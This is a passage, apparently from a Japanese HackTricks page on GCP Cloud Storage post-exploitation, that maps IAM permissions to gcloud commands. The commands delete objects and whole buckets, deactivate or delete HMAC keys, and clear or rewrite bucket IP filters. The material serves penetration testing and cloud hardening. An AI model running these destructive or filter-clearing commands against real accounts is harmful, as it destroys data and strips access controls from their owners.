ブラウザから公開された bucket にアクセスするには、URL `https://<bucket_name>.storage.googleapis.com/` または `https://<bucket_name>.storage.googleapis.com/<object_name>` にアクセスしてください。
|
||||
|
||||
公開されているバケットにブラウザからアクセスするには、URL `https://<bucket_name>.storage.googleapis.com/` または `https://<bucket_name>.storage.googleapis.com/<object_name>` にアクセスします。
|
||||
### `storage.objects.delete` (`storage.objects.get`)
|
||||
|
||||
オブジェクトを削除するには:
|
||||
```bash
|
||||
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
|
||||
|
||||
バケットを削除するには:
|
||||
```bash
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
```
|
||||
### HMAC Keys を無効化
|
||||
|
||||
`storage.hmacKeys.update` permission は HMAC keys を無効化することを許可し、`storage.hmacKeys.delete` permission は Cloud Storage の service accounts に関連付けられた HMAC keys を identity が削除できるようにします。
|
||||
```bash
|
||||
# Deactivate
|
||||
gcloud storage hmac update <ACCESS_ID> --deactivate
|
||||
|
||||
# Delete
|
||||
gcloud storage hmac delete <ACCESS_ID>
|
||||
```
|
||||
### `storage.buckets.setIpFilter` & `storage.buckets.update`
|
||||
`storage.buckets.setIpFilter` と `storage.buckets.update` の権限があれば、アイデンティティは Cloud Storage バケットの IP アドレスフィルタを設定でき、どの IP 範囲またはアドレスがバケットのリソースにアクセスできるかを指定できます。
|
||||
|
||||
IP フィルタを完全にクリアするには、次のコマンドを使用できます:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
フィルタリングされた IP を変更するには、次のコマンドを使用できます:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> \
|
||||
--ip-filter-file=ip-filter.json \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
JSON ファイルはフィルタ自体を表しており、次のようなものです:
|
||||
```bash
|
||||
{
|
||||
"mode": "Enabled",
|
||||
"publicNetworkSource": {
|
||||
"allowedIpCidrRanges": ["<IP>/<MASK>"]
|
||||
},
|
||||
"allowCrossOrgVpcs": false,
|
||||
"allowAllServiceAgentAccess": false
|
||||
}
|
||||
```
|
||||
### `storage.buckets.restore`
|
||||
次を使用してバケットを復元する:
|
||||
```bash
|
||||
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user